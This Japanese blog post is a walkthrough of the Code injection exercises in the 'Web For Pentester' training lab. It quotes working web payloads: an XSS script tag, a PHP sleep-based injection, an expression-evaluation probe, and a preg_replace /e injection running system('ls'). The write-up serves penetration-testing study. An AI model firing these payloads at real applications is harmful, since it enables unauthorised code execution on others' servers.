Shikata Ga Nai

Private? There is no such things.

Web For PentesterのCode injectionをやってみた

Hello there, ('ω')ノ

 

今回は、Code injectionを。

 

f:id:ThisIsOne:20210503095019p:plain

 

Example1にアクセスすると。

リクエストヘッダからXSSの脆弱性の可能性が。

 

f:id:ThisIsOne:20210503082232p:plain

 

とりあえず、アクティブスキャンを。

 

f:id:ThisIsOne:20210503081938p:plain

 

予想どおり、XSSの脆弱性がみつかって。

 

f:id:ThisIsOne:20210503082200p:plain

 

下記のペイロードをデコードして内容を確認して。

 znn2x%3cscript%3ealert(1)%3c%2fscript%3eogkqu

 

f:id:ThisIsOne:20210503082356p:plain

 

下記を実行すると確認できて。

 <script>alert(1)</script>

 

f:id:ThisIsOne:20210503082433p:plain

 

次にコードインジェクションのペイロードをデコードへ。

 

f:id:ThisIsOne:20210503082531p:plain

 

デコードしてペイロードの内容を確認して。

 

f:id:ThisIsOne:20210503082550p:plain

 

下記を実行すると20秒ほど経過してレスポンスが。

 {${sleep(hexdec(dechex(20)))}}

 

f:id:ThisIsOne:20210503082657p:plain

 

次にExample2を。

 

f:id:ThisIsOne:20210503082932p:plain

 

リクエスト内容を確認して。

 

f:id:ThisIsOne:20210503083042p:plain

 

動作確認をしながら。

 

f:id:ThisIsOne:20210503083231p:plain

 

リクエストヘッダやパラメータを確認して。

 

f:id:ThisIsOne:20210503083645p:plain

 

アクティブスキャンすると下記のパラメータを確認せよとのことで。

 ${8104*3840}

 

f:id:ThisIsOne:20210503084320p:plain

 

ペイロードを挿入すると計算式が機能しているようで。

 ${8104*3840}

 

f:id:ThisIsOne:20210503084448p:plain

 

 下記のペイロードを確認して。

  {${sleep(hexdec(dechex(20)))}}

f:id:ThisIsOne:20210503084200p:plain

 

今回は、Example3がやっかいで。

まずは、パラメータと結果から動作確認を。

これで、パラメータの関係性がわかって。

 

 new=hacker&pattern=/lamer/&base=Hello lamer

 ⇩

 Hello hacker

 

 new=hacker&pattern=/lamer111/&base=Hello lamer

 ⇩

 Hello lamer

 

 new=hacker&pattern=/lamer111/&base=Hello lamer111

 ⇩

 Hello hacker

 

 new=hacker222&pattern=/lamer111/&base=Hello lamer111

 ⇩

 Hello hacker222

 

f:id:ThisIsOne:20210503085054p:plain

 

ちなみに2つ目のパラメータを変更すると下記のエラーが。

 new=hacker&pattern=/lamer/a&base=Hello lamer

 ⇩

 Warning: preg_replace(): Unknown modifier 'a'

 

f:id:ThisIsOne:20210503093345p:plain

 

preg_replace()の仕様を確認して。

 https://www.php.net/manual/ja/function.preg-replace.php

 

f:id:ThisIsOne:20210503104836p:plain

 

preg_replace()の脆弱性を探して。

 https://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-003434.html

 

f:id:ThisIsOne:20210503105142p:plain

 

2つ目のパラメータを変更していくとエラーの内容に変化が。

 new=hacker&pattern=/lamer/e&base=Hello lamer

 ⇩

 Use of undefined constant hacker - assumed 'hacker'

 

f:id:ThisIsOne:20210503093908p:plain

 

アクティブスキャンしても検出されず。

 

f:id:ThisIsOne:20210503090600p:plain

 

下記のペイロードを挿入すると文字列として扱われて。

 new=system('ls')&pattern=/lamer/&base=Hello lamer

 

f:id:ThisIsOne:20210503092627p:plain

 

さきほど変化のあった2つ目のパラメータと組み合わせると脆弱性が発見されて。

このようなケースがツール頼りだと見つけられない脆弱性で。

2つ以上のパラメータが連携しているものは要注意かと。

 new=system('ls')&pattern=/lamer/e&base=Hello lamer

 

f:id:ThisIsOne:20210503092550p:plain

 

 最後にExample4もこれまで同じようにアクティブスキャンして。

 

f:id:ThisIsOne:20210503091741p:plain

 

ペイロードを実行して確認を。

 

f:id:ThisIsOne:20210503091838p:plain

 

Best regards, (^^ゞ